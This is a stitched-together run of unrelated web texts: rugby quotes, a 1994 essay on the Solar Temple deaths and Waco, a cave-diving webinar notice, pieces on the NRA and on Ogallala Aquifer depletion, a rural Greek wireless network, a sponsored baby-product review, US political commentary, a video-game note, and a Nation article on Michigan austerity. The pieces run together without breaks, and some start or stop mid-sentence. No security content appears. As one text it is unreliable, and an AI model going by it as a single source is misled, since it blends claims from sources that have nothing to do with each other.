one of those things where you just get on with it and learn it. “I can say what I need to say now and get by. It’s nice to learn another language and to be able to speak to the fans. “I would love to stay in the Top 14, because I think it would suit me as a player. I have spoken with a few clubs and I’m just waiting on a few things. I have got a lot of thoughts going through my head. “As far as my agent is concerned, there’s nothing in Wales for me at all. “People say to me why don’t you come back. Well, I can’t come back to nothing. “I wouldn’t want to go back to where I was anyway. It spoiled me as a player and it took me a while for me to get my confidence back from that.” For Hamilton, it’s clearly been a case of “vive la difference”.Originally appeared in The Village Voice, October 25, 1994 In the beginning, there is only the event: the Order of the Solar Temple’s mass demise by fire, drug, and bullet. Forty-eight corpses in Switzerland, divided almost evenly between a farmhouse in Cheiry and a cluster of gutted chalets 100 miles to the south in Granges-sur-Salvan; plus five more bodies in two torched homes in Morin Heights, Quebec. But before that cool newsprint ax attempts to fall between clarity and madness, information and cult, there is nothing but a kind of abject awe before details at once horrid and absurd: A circle of corpses arrayed in a wheel around a triangular altar, heads aimed outwards like rockets ready to launch. Robes of red and gold and black splayed against tacky crimson wall-to-wall carpeting. A jar of fluid labeled “DNA.” Pendants and paintings and chalices redolent of the esoteric West, of mystical brotherhoods and the alchemical rose. A chapel lined with mirrors. A cassette taped to a door. A charred baby wearing a plastic bag. “With a clear mind do we leave this Earth for a Dimension of Truth and Perfection,” claimed one of four suicide notes sent from the Solar Temple to various news organizations. “There, away from obstruction, hypocrisy and hostility, we shall give birth to the seed of our future Creation.” But despite the basically lucid tone of this “we,” scrutiny instantly fell on Luc Jouret, leader of the “bizarre doomsday cult.” A Belgian born in the Congo, Jouret was known as a healer and lecturer who combined catastrophic environmental prognostications with New Age themes and later founded the Solar Temple as a more occult inner circle. “Dark-haired” and “charismatic”, the messianic Jouret stepped right into a story as easy to whip up as a batch of Texas Kool-Aid: the cult leader sucked into a black hole, dragging his entranced followers down with him. New reports consistently allude to his homeopathic practiceconsidered perfectly legitimate in French-speaking Europewhile neglecting mention of his earlier, perhaps even more demonic work as an obstetrician. Just one catch: no corpse. Before Jouret’s charred body was identified last Thursday, evidence emerged that some of the dead were slain outright, leading to suspicions that the ritual costumes may have cloaked a far more worldly deed. The press and police linked Jouret to money laundering and massive Swiss bank accounts; to “brainwashing” his followers out of their savings, and to financial power struggles and rivalries inside his network of sects (he had recently been replaced as Grand Master of the Canadian branch of the Temple). Clues continued to pile up with the pulpish pleasure we all know from the crime novel’s fusion of information and death: cult cars abandoned at the Cheiry train station; three of the five bodies in Canada stabbed to death days before the fire; a.22 used at Cheiry discovered in Granges-sur-Salvan; the post date of the suicide notes, which indicated they were sent after the carnage. Loopier accusations came from the Canadian police, who had gotten a guilty pleas out of Jouret in 1993 for weapons charges (silencers). Along with his supposed involvement in an arms-trafficking ring, they suspect Jouret of blowing up transmission towers belonging to Hydro-Quebec (the provisional utility company where Jouret had given inspirational seminars on business and self-realization) and of leading the James Bond sounding “Q-37,” a paramilitary group that threatened to kill public security minister Claude Ryan for his “favoritism to redskins.” These accusations were hysterically denied in one of the Solar Temple’s suicide notes, which accused Ryan of belonging to the right-wing Catholic secret society Opus Dei. But the straight-to-video flare of these allegations suddenly transformed Jouret into a very different kind of Antichrist: the arms-dealing, jet-setting, money-laundering, con-man terrorist. Faced with the curious dynamics of fringe religious movements, dynamics which cannot be grasped within a purely secular paradigm, the media went schizo, simultaneously portraying Jouret as a crazed occult messiah and a cynical huckster manipulating rich lemmings. But the suicide notes turned out to have been mailed by a spared member of the Temple’s “golden circle”: Patrick Vaurnet, son of the French ski champ and sunglasses mogul Jean Vaurnet (who never noticed that his wife Edith, also a cult member, “tended to go our with her friends on nights of the full moon”). And once Jouret’s corpse was discovered, the con man reading collapsed like a house of cards, leaving only bafflement. Suddenly, Jouret achieved a perverse integrity, leaving nothing but the Solar Temple’s dark alchemical conjunctio, or union of opposites: guns and healing, murder and suicide, prophecy and fraud, all fused into one incandescent eschatology. Many of the “cult experts” trotted out to unpack the enigma only muddied the waters. The Cult Awareness Network folk had a field day on Nightline, reaffirming secular prejudices about the uniformly manipulative character of small-scale alternative spiritual groups. A descendent of the Citizens Freedom Foundation, whose “de-programming” tactics in the ’70s rode roughshod over civil liberties, CAN spokespersons now present themselves as religious experts. As J. Gordon Melton, an adjunct professor at UC Santa Barbara who specializes in new religions movements, says, “CAN are always there first because they always say the same thing, while the rest of us are busy doing research on the group in question.” The day the report broke, The New York Times said that the Solar Temple represented the persistence of ancient pagan magic into modern times and linked the Order to the turn-of-the-century trickster-magician Aleister Crowley and his Ordo Templi Orientis. Though Jouret clearly owed a debt to ceremonial magic (robed Temple members gathered under full moonlight, tracing a “star” in the ground and invoking the four elements), laying the Solar Temple at the foot of the Beast (Crowley’s favorite nickname) not only neglects Jouret’s debt to the conventional and nonpagan Rosicrucian and Templar groups, but distorts the legacy of “Uncle Al”who would have upchucked at Jouret’s authoritarian New Age Christian hermeticism. In fact, Jouret’s occult influences are far more odious than the heavy metal vibe of today’s typical O.T.O. lodge. Before he founded his International Chivalric Order Solar Tradition (later known as the Solar Temple), Jouret belonged to the Renewed Order of the Templewhich, according to Gerry O’Sullivan, a Fordham professor and expert in hermetic secret societies, is a racist, neo-Nazi magical society founded by the ex-Gestapo officer Julien Origas. After a failed power grab in 1984, Jouret struck out on his own, nesting his occult inner circle inside groups like the Club Amenta and Club Archédia that offered a milder New Age blend of teachings. Former Solar Temple communalists paint an odd picture of occult Green authoritarianism: “Wash the lettuce seven times before serving it! Walk on the grass with bare feet!” Jouret was reported to have ordered. And given the likelihood that Jouret directed the murder of some of his own followers (an act Melton claims is unprecedented for these small groups), he certainly deserves his own trading card in whatever False Messiah deck includes Jim Jones, Charles Manson, and Jan Bockelson, the handsome Dutch messianic prophet who won over the German town of Münster in 1534, proclaimed himself King of the New Jerusalem, and led thousands to a grisly demise. Figures like these are strange attractors, drawing people away from the magnets of consensus reality (the media, church, common sense) into their own turbulent but eerily coherent paradigms. Mix in the sense of imminence created by end-of-the-world scenarios and the approach of the millennium, and these worldviews become even more intense, libidinal, and liable to explode. “Brainwashing” does not explain how Jouret could have attracted such a straight crew: a business journalist, a mayor, a Hydro-Quebec official. (Even the best sunglasses in the world couldn’t shade the Vuarnets from the Solar Temple.) And the fact that the Temple’s Canadian branch edged Jouret out of power without severing ties with him demonstrates a degree of autonomy on the part of at least some of his followers. The worldly language of psychological aberration and “mind-control” can never fully encompass or explain intense spiritual desire, because that intensity begins with the radical and dangerous act of pulling the rug out from under “the world.” *** Whether you consider them radical, reactionary, or insane, heretical religious groups that abandon the secular laws of reality set themselves up for a head-on collision with the state. Both the press and the Solar Temple’s suicide notes make comparisons with the Waco massacre, but with very different aims: the media to reinforce the image of self-destructive, apocalyptic crackpots, and the Solar Temple to demonstrate the insidious conspiratorial aims of the New World Order. What the resonance between these two tragedies really indicates is the total dissonance between prophetic language and modern state powerand, in both cases, this mutual negation proved disastrous. But in the case of Waco, it’s the government that deserves the lion’s share of the blame. Given that Koresh frequently left Mt. Carmel and was on friendly relations with local law enforcement, it’s difficult to justify the ATF’s initial assault, and Melton and other scholars point to the heavy hand of CAN “exit counselors” in the decision to use force. But by coming on strong, the FBI turned a page in the Book of Revelation, fulfilling a role which for the fiercely religious Branch Davidians had already been prepared for them: the armies of the Antichrist. On their side, the federal forces readily projected their own self-fulfilling mirage: leveling accusations of sexual impropriety and child abuse (a chestnut in anti-heresy crack-downs throughout the ages); portraying the members of the community as mindless hostages and Koresh as a manipulative huckster; demonizing a cache of weapons that, when judged in the context of proudly pro-NRA Waco, was hardly remarkable. But the most tragic act of this eerily archetypal conflict was the end game, where the state’s refusal to acknowledge or empathize with the Davidian’s world-view proved fatal. While the FBI was blasting the compound with Tibetan chants and “These Boots are Made for Walkin'”, religious scholars enlisted by the Bureau’s negotiating team carefully decoded Koresh’s unusual exegesis of Psalms and Revelation. Using Koresh’s language, and basically “agreeing” with his interpretation of himself as a messianic figure foretold in the Book of Revelation, James Tabor and Philip Arnold edged Koresh into reinterpreting scripture in a manner that would avert what seemed to be an inevitable disaster. Koresh subsequently gave signs of agreeing to come out with his followers after writing up his interpretation of the Seven Seals (he speaks of being “freed of my ‘waiting period'” and of preparing to “stand before man”). But despite the pleas of the scholars, the FBI got antsy and stormed the compound the day after Koresh began the document. “The commanders were ignorant of the language and viewpoints of these very religious people,” says Arnold, now coordinator of the Religion-Crisis Task Force. “They thought Koresh was a con man. They couldn’t understand that he really believed it.” Carried out of Mt. Carmel on computer disc by the survivor Ruth Riddle, Koresh’s textincluding a poem and a coherent Biblical exegesisestablishes, too late, that the man was working in good faith. The state could not allow Koresh’s revelatory language to mean anything, however, even to himself. Cults are always mute. In an intriguing parallel, the Swiss police have yet to release either the content or an analysis of the Solar Temple cassette message found stuck to the farmhouse at Cheiry. Apparently, the police dismissed the tape when they realized it was filled with astrological information. But as Ted Daniels, the editor of Millennium Prophecy Report, said, “That’s the suicide note. You gotta get someone who understands the symbolism.” Yet understanding the symbolism requires allowing the horror to speak. And if we allow ourselves to communicate with the Solar Temple, to attempt to reconstruct its worldview and put it in context, then we may begin to see Jouret’s cult not as an isolated aberration, but as an hallucinatory eruption of the apocalyptic sentiment brewing beneath Western civ. As a close reading of the Solar Temple’s suicide note makes clear, Jouret demands to be seen not against the scripture-quoting apocalyptic Christianity of Koresh, but rather the West’s great esoteric stream of gnostic hermeticism, particularly as expressed in Rosicrucian and neo-Templar secret societies. Crystallized in the gap between the Renaissance and the Enlightenment, these hermetic brotherhoods were essentially composed of radical humanists, deeply inspired by the gnostic dream of transforming man into a kind of enlightened god. This urge, at once magical and rational, became enshrined in a powerful social structurethe hierarchical secret societywhich would influence everything from the Royal Society to the American Revolution, from Skull and Bones to the Shriners puttering around in those goofy little cars. Like the Renewed Order of the Temple to which Jouret briefly belonged, a healthy percentage of today’s European occult secret societies are fascist. But the French stream of Templarism that the Solar Temple took root in began as an expression of radical social change. Mystically liberated by the French Revolution, Bernard-Raymond Fabre-Palaprat unveiled the Order of the Temple, heirs to the Knights Templar, while proclaiming himself the latest in an unbroken line of Templar Grand Masters. A mythic motherlode for occultists to this day, the Templars were an autonomous, 12th-century chivalric order of knights which was dissolved by Pope Clemens V two centuries later, its leaders tried and burned as heretics and homosexuals. But the Rosicrucians were an even more fundamental inspiration for secret societies such as Fabre-Palaprat’s. In early 17th-century Germany, just before the outbreak of the Thirty Years War, a series of manifestos appeared that “revealed” the existence of a secret fraternal group of mystical Christians who were leading the world into a New Age of universal knowledge. These pamphlets helped create the idea of a technocratic elite leading the progressive, millennialist reform of society, and this dream of enlightened evolution, universal knowledge, and social utopia would come to influence liberal democracy, socialism, and the institutions of modern science. The growing fascism of 20th-century secret societies express the disenchantment of this progressive dream, and Jouret pushed the alienation even further: the world is so unredeemable that the apocalypse is not only necessary but to be welcomed as a purifying fire. Like many hermetic occult societies, the Solar Temple claimed to be in contact with Ascended Masters who maintained universal order and aided human beings in their evolution. But in the suicide note entitled “To All Those Who Can Still Hear the Voice of Wisdom,” the Temple author claims that the Grand White Lodge of Sirius has now recalled those beings, that the Rosicrucian Elder Brothers have left the earth from Sidney, and that the Seven Entities who inhabited the Pyramid of Giza have alighted as well, taking the Energy-Conscience that maintains the solar system with them. Faced with a decadent and doomed human order intent on destroying the Truth and Nature, Jouret and his followers saw their deaths as “not a suicide in the human sense of the term,” but rather a “transit.” “We are in a circle of fire,” the notes claim. “Everything is being consumed. We are about to make a leap in macro-evolution.” Jouret’s blend of hermetic gnosticism and more American-style apocalyptic survivalism is not uniquein the underground bunkers beneath Montana, Elisabeth Claire Prophet and her Church Universal Triumphant traffic with Enochian Ascended Masters while preparing for an imminent missile exchange with Russia. And from the alchemists to the Rosicrucian Kindred of the Kibbo Kift to today’s right-wing Greens, nature mysticism is hardly alien to hermetic occultism. Jouret was unusual in that, as J. Gordon Melton points out, “He was a New Ager before he was an occultist.” But Jouret wasn’t content to just think positively about the Age of Aquarius, and before his metaphysics took a darker turn he seemed to embrace a strict ecological lifestyle, starting an organic farm, researching macrobiotics, and practicing homeopathy and acupuncture. Far from casting aspersions on such practices, Jouret’s final act points to the severity of his turn away from the mythic hope of a sustained and spiritualized ecology. “Today’s planetary situation has irrevocably slipped out of human control,” proclaimed one of the notes. “Man has become vile and sterile, a parasite incapable of respecting either himself or Nature and he shall harvest the fruit of his own decay.” Unnerving stuff, the truths that madfolk bear. Jouret’s act forces us to recognize the religious motifs that lurk beneath even the most materialist assessments of the unraveling environment, as if all the secular tools of activist science and politics cannot help us dodge the West’s great cataclysmic story. Just as some tribal societies ritually enact the birth of the cosmos, Jouret performed civilization’s end, magically expressing the ideology of those ecologists who get so deep they start lobbying for the voluntary extinction of the human race. Many Green activists must appreciate the sick poetry of the Solar Temple’s most imaginative rite: confessing your sins against nature with a plastic bag on your head. This vibrant image of suffocation and sterile alienation resonates with a vast, growing, and in many ways well-founded, intimation of doom. For when Canadians and the Swiss start going ballistic, you know there’s a vortex in the heart of civilization. Secular or spiritual, the most magnetic worldview of all may be the one in which the world dies.The latest NSS webinar will feature underwater explorer Jarrod Jablonski as he shares his incredible stories of cave diving and shipwreck exploration. The Founder and CEO of Global Underwater Explorers, the premier cave diving organization in the world, Jarrod holds several world records for his cave diving excursions. Learn about the cutting edge of diving technology and how modern underwater expeditions are evolving as the new technology becomes available. These advances are sure to revolutionize recreational scuba diving. This exciting presentation runs from 9:00 to 10:30pm EDT (8:00 pm CDT/ 7:00 pm MDT/6:00 pm PDT) on Thursday, June 13th, 2013. Space is limited, so don’t wait to reserve your spot. Also, note that on the day of the presentation, it is important to join in at least 10 minutes early to assure your spot.The National Rifle Association doesn’t make its demographic makeup public, although you’d be hard-pressed to find anyone who wouldn’t concede it is overwhelmingly white, conservative, and male. (Gun ownership data published by Pew Research seems to support this.) But lately, it seems like the NRA’s leadership is especially interested in courting a new and very vocal demographic with considerable household influence: moms. But why? In recent months, grassroots organizations like Moms Demand Action and its parent fund, Everytown, have emerged as potential thorns in the side of the gun lobby, notching hundreds of thousands of members. “People respond to fear and emotion,” Shannon Watts, who founded Moms Demand Action after the Sandy Hook shootings, told Fast Company a few months ago. “That’s why I feel moms are so important: Because we bring an emotion as well.” The group’s success may explain the NRA’s latest marketing efforts. Take the association’s latest ad, “Insult,” which takes aim at Everytown sponsor and former New York City mayor Michael Bloomberg: And here is how Watts is depicted in a hit piece published in the NRA’s official magazine: Furthermore, Media Matters reported that at this year’s annual NRA meeting in April, there seemed to be a concerted push to attract women to its ranks: Red schwag set the tone. At tables throughout the complex, NRA staffers handed out “I’m an NRA MOM” buttons and T-shirts. At the building’s main entrance hung an enormous banner of a woman, looking a little pouty, next to a populist taunt of former New York City Mayor Michael Bloomberg, who recently said he would spend big on behalf of the gun safety movement. According to some metrics, though, female gun-ownership may have already been on the upswing. A Gallup poll from August 2012–a few months before Moms Demand Action was established–found gun ownership among women was up 13% from 2005.Farmers in the Great Plains of Nebraska, Colorado, Kansas and the panhandle of Texas produce about one-sixth of the world’s grain, and water for these crops comes from the High Plains Aquifer — often known as the Ogallala Aquifer — the single greatest source of groundwater in North America. A team of researchers, including Colorado State University Professor Kurt Fausch and Jeff Falke, a CSU alumnus and an assistant professor at the University of Alaska Fairbanks, have discovered that more than half a century of groundwater pumping from the aquifer has led to long segments of rivers drying up and the collapse of large-stream fishes. If pumping practices are not modified, scientists warn that these habitats will continue to shrink, and the fish populations along with them. The research team combined modeling from the past and future to assess changes in Great Plains streams and their fish populations associated with groundwater pumping from the High Plains Aquifer. The findings have implications for watersheds around the world, because irrigation accounts for 90 percent of human water use globally, and local and regional aquifers are drying up. A ‘train wreck’ Fausch said the study results are sobering. Based on earlier observations and modeling by Falke and a team of graduate students and faculty at CSU, the Arikaree River in eastern Colorado, which is fed by the aquifer and used to flow about 70 miles, will dry up to about one-half mile by 2045. “You have this train wreck where we’re drying up streams to feed a growing human population of more than 7 billion people,” Fausch said. Fausch described the situation as a “wicked problem,” one with no good solution. “More water is pumped out every year than trickles back down into the aquifer from rain and snow,” he said. “We are basically drying out the Great Plains.” Pumping has dried up streams, small rivers Since the 1950s, pumping has extracted nearly as much water as what exists in Lake Erie — about 100 trillion gallons — and almost none of it trickles back into the aquifer. “This pumping has dried up long segments of many streams and small rivers in the region,” Fausch said. From 1950 to 2010, a total of 350 miles of stream dried up in the large area the team studied in eastern Colorado, southwestern Nebraska and northwestern Kansas. “Our models project that another 180 miles of stream will dry up by 2060,” Fausch said. The loss of fish in the area is also a concern. “What we’re losing are the fishes that require habitat found only in the rivers and large streams of the region, and replacing them with those that can survive in the small streams that are left,”
called a contrapasso. If tangible progress is eventually made, then it could be exported. Using open source hardware and software means that Sarantaporo’s approach can be replicated in other rural areas quite cheaply. The whole network infrastructure for Sarantaporo was around €20,000. Divided by all the users it comes out to a few Euros per person per year. There is a developing market for this technology as well. Individuals around Europe are increasingly designing their own hardware that’s suited to their specific needs. The online marketplace Tehnoetic, which aims to be the “Amazon” of open source, specializes in selling items that “respect user freedoms.” Semi-Detached Farmers Now some people from unMon I’ve talked to say, “That’s awful, you’re just going to have the farmers sitting in front of their computers all day.” This is an interesting point, especially since early consumerists were sold household appliances throughout the 50’s and 60’s because they were convinced it would give them more free time. Where did all that time go? They had to get jobs to pay for the appliances! The nerve center of Sarantaporo, located in Achilles basement. Perhaps making such “improvements” to independent farms could result in an over abundance of couch potatoes hitting the market. People might find themselves with more free time as their farms increase in productivity. They might spend more of that free time on FB, but I think people should be able to choose how to spend their time. If they want to sit in front of a computer, that’s their prerogative. If you spend most of your day sitting in front of a computer, why can’t a farmer? There is also a big difference between slacktivists in the city and in the country: the latter isn’t dependent on anyone else for their food. Global Agriculture Under Threat The point is that if we zoom out and look at what’s happening in global agribusiness, we see that all available arable land around the world is being snapped up by investors. If you are worried about GMO crops, industrial farming, indigenous seed extinction, and all that jazz then this should be of concern to you. Why is this land for sale in the first place? because all the farmers are leaving it! Why are investors buying it? because it’s dirt cheap and no one else wants it. Why buy all this land? how else will you produce food for exploding urban populations? How will you keep so many people dependent on this industrial grade hog slop? By owning all the land and keeping autonomous humans off it! So we are back to the original problem: everyone wants natural, organic, locally grown food, but no one wants to actually produce it. People prefer to abandon the countryside, and that is the exodus that’s really happening. It’s like a continuation of the enclosures except now there’s no more land to be kicked off of; we’ll simply to be herded into the cities. The people in Sarantaporo kept saying to us, “We need more people to come here.” They don’t realize it yet, but they might have some of the tools in their hands to make that happen. If people start playing around with the network and making their farms a bit more automated, then farming might appear more attractive to those fleeing their fields. It’s already happening in other places. In Japan the world’s first fully automated farm plans to open soon. It is projected to more than double production for the vegetable producer Spread. Another dairy farm in France got international attention when it announced it was fully automated. Standing Their Ground However there needs to be a balance between automation and job security, too much innovation can lead to job losses. That’s exactly what happened during the Industrial Revolution in Italy when the introduction of farm machinery created mass unemployment. It is also considered to be one of the contributing factors to the rise of fascism. However it’s also been shown that automation increases employment, and if people can live in the countryside, have healthy food, and also have time to spend with their families and kids, then why should they leave? And with all the IT work there is to do, there might be positions opening up for new people to move in. Maybe the Open Source Ecology people might be interested as well. But let’s ask another question: how will independent farmers compete with automated industrial farms in the future? Will they be forced to buy patented seeds, pesticides, machinery and software at extortionate rates rates in order to survive? Or will they too leave their land like so many in the developing world have already done? In Syria, people living in cities under siege have used gardening, food sovereignty, and heritage seeds to resist domination by the Assad Regime. The 15th Garden enables people to resist by producing their own food. Abdallah Al Shaar from the 15th Garden in Syria presents the project abroad. The 15th Garden uses any available land to produce food for people starving in cities under siege by Assad. Depriving people of food should not be a weapon. The wireless network in Sarantaporo could be quite revolutionary as a form of resistance to global capital’s land grabbing and industrial agriculture: if by using open source hardware and software independent farming can be made to be less oppressive and incite more people make the “exodus to the countryside” (or just not leave in the first place), then you might be able maintain some autonomy within the global food chain. Hell, maybe the pensioners can even run the farms remotely from their tablets using FarmBots. Either way, it’s just the beginning, especially since Sarantaporo.gr just qualified for the Ashoka Impact Program in Greece.Watford have agreed a deal to sign M'Baye Niang on loan with a view to a permanent deal subject to the forward accepting personal terms. The Hornets are close to signing the 22-year-old according to a source in Italy. Milan accept they need Niang to move on, due to his off the field problems in Italy, with a deal in the region of €17m in place. The Hornets initially only wanted to bid €10m but have upped their offer in an effort to beat competition from rivals. Niang is best suited to playing on the left wing or the left-hand side of a three-man attack. The French attacker is renowned for his pace and is a strong dribbler capable of providing assists. Niang, who has scored three goals in 18 appearances this season, has also attracted the interest of West Ham United, Crystal Palace and Everton this month. It seems inevitable Milan will move him before the transfer window shuts next week and it is now down to whether he wants to move to Vicarage Road.Thank you to Adorology for providing product in exchange for my honest opinion in this review. Adorology is one of my favorite baby product companies. I’ve gotten the chance to partner with them to showcase their beautiful work a number of times since the beginning of the year. Over the months, my Adorology products are holding up beautifully, through lots of use and lots of washes. If you use the search tab you will be able to find and view all of my other Adorology reviews. Today I get to share two Adorology products with you – the new Organic Cotton Nursing Pillow Slipcover and the Multi-Use Car Seat Cover – both in the pretty & classic gray and white ivy design. The Adorology Organic Cotton Nursing Pillow Cover is made from 100% organic cotton. It helps ensure mom and baby’s sensitive skin is not bothered by conventional fabrics. The cover is designed to fit 20×16 and 22.5×18 nursing pillows, and they have accounted for cotton shrinkage so after washing the pillow will have a snug fit. The tag and the zipper are both located on the back side of the pillow so that won’t be an issue to irritate the precious little one either. As you can see above, my 21 month old still loves using her Boppy pillow, and I love all the cute designs Adorology offers! It’s fun to switch out designs between washing. I adore our Adorology Multi-Use Car Seat Covers. I have gotten lots of compliments on them! I’ve even gifted one to my best friend, and she is loving it just as much as I do! The fabric is super soft and stretchy. I appreciate that it washes up so well and that it comes with it’s own little carrying case and folds up quite small. It’s so stretchy it will easily fit snuggly on any carrier style car seat. It also works as a super comfortable nursing cover. And it also works as a high chair cover when you are out and about to keep your little one away from all the germs that a public use highchair can harbor. This is a high end looking car seat cover, but at a fantastic price! I love that this design is neutral enough that it will work for our next baby too, no matter the gender. Any of the Adorology products would make a perfect gift for a baby shower! Buy It: Head over to Adorology to see for yourself the great selection of products they offer. Connect: Don’t forget to like them on Facebook, follow them on Twitter and Pinterest for all the latest news and promotions. Win It: Adorology is generously offering two of our lucky readers a Gray & White Ivy Design Multi-Use Car Seat Cover two other lucky readers will win a Gray & White Ivy Design Nursing Pillow Cover. The giveaway is open to US only. The giveaway will end September 28th, 2017. For your chance to win, enter the Giveaway Tools below. Good luck! Hi, my name is Asha. I am 30 years old. I am a nurse by profession. I am married to a wonderful man, have a sweet 3-year-old daughter, a newborn son, and a lovable bunny named Caramel. I enjoy spending time with family, taking photographs, scrapbooking, hunting, fishing, cooking and gardening. http://www.emilyreviews.com/category/asha Related posts we've written:Ben Sasse on his way to start some dumpster fires. Those GOP senators up for re-election this year seem to have discovered a collective need to wash their hair two weeks from now. For at least three nights. On the other hand, Republican Senators willing to share a convention hall with Donald Trump are pretty much guaranteed to be those who hope that two or so years from now, their voters will have forgotten all about this unfortunate interlude. Of the 54 Republican senators, 16 have announced they won't be going to Cleveland and six more have yet to make a final decision. But honestly, you have to hand it to Republicans for the list of reasons why they can’t be bothered to make an appearance to support their own party. "Sen. Sasse will not be attending the convention and will instead take his kids to watch some dumpster fires across the state, all of which enjoy more popularity than the current front-runners,” a spokesman for Sen. Ben Sasse (R-NE) told reporters. Sen. Jeff Flake (R-AZ), who was personally attacked by Trump during a meeting with senators near Capitol Hill last week, announced he had some important household chores to attend to.“I’ve got to mow my lawn," Flake told the Associated Press. Senators on the list of sad losers who didn’t line up for Trump include Marco Rubio, Missouri’s Roy Blunt and the suddenly Republi-phobic Mark Kirk. Up for re-election but still willing to climb up on stage to sing in Trump’s chorus? Ohio’s Rob Portman. Just consider him the canary in Trump Coal Mine. If Portman shows signs of life post-convention, other Republican candidates may creep closer to Trump. If Portman falls over, expect a lot of blank looks when other Republicans are asked about Donald …. who?The Republican Study Committee released a report on Friday that is so brilliant and visionary it's difficult for me to believe it was written by Republicans. You can read it in its entirety (in text format) on my reference blog. The original link to that paper was here -- you'll notice that link now just goes to a blank page. That's because of how good ideas in Washington work these days. The Republican Study Committee wrote a concise article outlining the problems with copyright law and suggesting some commonsense solutions to those problems. Then the lobbyists started calling. However, as soon as it was published, the MPAA and RIAA apparently went ballistic and hit the phones hard, demanding that the RSC take down the report. They succeeded. Even though the report had been fully vetted and approved by the RSC, executive director Paul S. Teller has now retracted it, sending out the following email to a wide list of folks this afternoon: The spineless bastard answering the phones at the Republican Study Committee had this to say to cover for his quivering jell-o bosses: Yesterday you received a Policy Brief on copyright law that was published without adequate review within the RSC and failed to meet that standard. ...among other, more boring things. You can of course read the whole thing on my web site, but I'll go into some of the problems they (correctly) identify with current copyright law and their suggestions for how to overhaul it to actually work and not just create a bunch of welfare queens with names like Warner Brothers and Viacom: First, the three myths: 1. The purpose of copyright is to compensate the creator of the content 2. Copyright is free market capitalism at work 3. The current copyright legal regime leads to the greatest innovation and productivityFans hoping Pokkén Tournament will get the same treatment as the latest Super Smash Bros. in that it’ll release on both Wii U and the Nintendo 3DS are out of luck, as Bandai Namco recently confirmed it just isn’t happening. Pokken Tournament developer Masaaki Hoshino confirmed the difficulty in doing a 3DS port with GameSpot, saying: “It’s definitely a challenge to get it on the Wii U with what we’re doing right now. And it definitely would be a challenge to have the same graphical experience on the 3DS.” Bandai Namco boss Katsuhiro Harada also sounded off in the difficulties of making a 3DS port, however it seems he feels it boils down to money, and not technical issues: “Programmer does not need technology. Programmer needs budget,” Harada said. This is somewhat similar to Nintendo’s previous statement in confirming they currently have no plans to support the game with post-launch additions such as characters or stages. Pokken Tournament is launching on March 18th for Wii U, worldwide.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? Michigan is a model of fiscal recuperation. At least that’s what the headlines said as I stepped off a plane in Detroit recently: its spending was slashed so ruthlessly in the past few years that the New York Times quoted a former state budget director as moaning, “We were so far down that the floor looked like up to us.” But now there is a budget surplus projected for 2013, of anywhere from half a billion to a billion dollars, with yet sunnier fiscal predictions ahead. This apotheosis is generally credited to the enactment of Republican Governor Rick Snyder’s stern austerity policies, which include replacing “a business tax with a corporate income tax that is expected to save businesses $1.5 billion a year,” according to the same Times article. “To make up lost dollars, lawmakers agreed to tax public workers’ pensions, reduce the state’s Earned-Income Tax Credit for the working poor, and remove or reduce other tax exemptions and deductions.” Ad Policy On the ride from the airport, my friend Dee gave me an earful about what he described as “Snyder’s for-profit governance, while for us ordinary non-corporate humans, things just get bleaker.” The schools are decimated, he told me. Infrastructure is crumbling, zoos and parks are being eliminated, libraries closed and daycare all but nonexistent. Snyder has slashed funding for the state’s colleges and universities by 15 percent in the past year alone. Moreover, Detroit is on the verge of financial ruin, in no small part because since 1998 it has been hobbled by a law requiring all cities to cut personal income taxes every year, for residents as well as nonresidents. Exemptions are given only if a city is in financial distress—a status virtually guaranteed by such cuts. “Financial distress” in turn triggers Public Act 4, an insidious law—detailed by Chris Savage on page 6 of this issue—that permits the governor to appoint an “emergency manager” (EM) whose job is, no joke, to displace elected officials and run local governments as though they were private, profit-driven corporations. Yet for all their considerable power, EMs lack the one thing that cities like Detroit need most (Republican dictum notwithstanding): the power to raise taxes. (Not that one would want a trickle-down executive branch boss like an EM tackling taxes, in addition to disappearing local legislative structures like city councils and school boards.) EMs are balancing budgets by gutting government itself: selling off water and sewer lines (Flint), “redeveloping” public parks into private golf courses (Benton Harbor) and threatening to dissolve school districts (Highland Park). Detroit public schools, 80 percent of which fail to graduate any students with a college-qualifying ACT test score, have been taken over by GM’s former vice president for North American vehicle sales. Meanwhile, in response to Governor Snyder’s recent intimation that funding for public universities may eventually depend on their graduation and student retention rates, the third-largest school in the system, Wayne State University, hastily revamped its admissions policy to include what a corporation might call “dashboard” measures that evaluate learning and retention as a matter of “value added.” “Value added” is a term widely introduced to the world of education as part of the Bush administration’s determination to turn learning into a business. Derived from economics and contract law, it ordinarily refers to the difference between production costs and sale price. While such arithmetic works well in the manufacturing of steel ball bearings, it’s somewhat less utile when grading an archaeology seminar or the translation of a poem. “Value added,” snapped Dee, “is the ultimate emblem of a ‘knowledge economy’ rather than regard for actual knowledge.” He fears it will push Wayne State further from its mission as the only urban campus in the system, one that has historically served predominantly blue-collar students who may be working multiple jobs and supporting families while going to school. Like the City University of New York, Wayne State has served as a portal for generations of strivers whose circumstances might constrain them to a trajectory of eight, ten or even fifteen years to earn enough credits to graduate. Such hard-working students will now be written off as failures for dragging down the value-added goal of four-year graduation rates. The Detroit Free Press reports that in screening for applicants most likely to graduate in the requisite amount of time, Wayne State plans to create three groups: “those accepted, those who first need to complete an eight-week summer ‘bridge’ academic program, and those who will be counseled to attend a community college, trade school or even the military.” Not surprisingly, many fear that students in Detroit’s already underserved public high schools will be passed over in even greater numbers as university seats are outsourced to wealthier students from out of town, from out of state or from other countries—from anywhere primary education is better funded. But what of the budget surplus? I asked Dee. Surely that found money could be put to the rescue? Alas, no. Of more than $1 billion in cuts to school budgets last year, Snyder is restoring less than half—and not to per capita expenditure on pupils but for incentive programs. 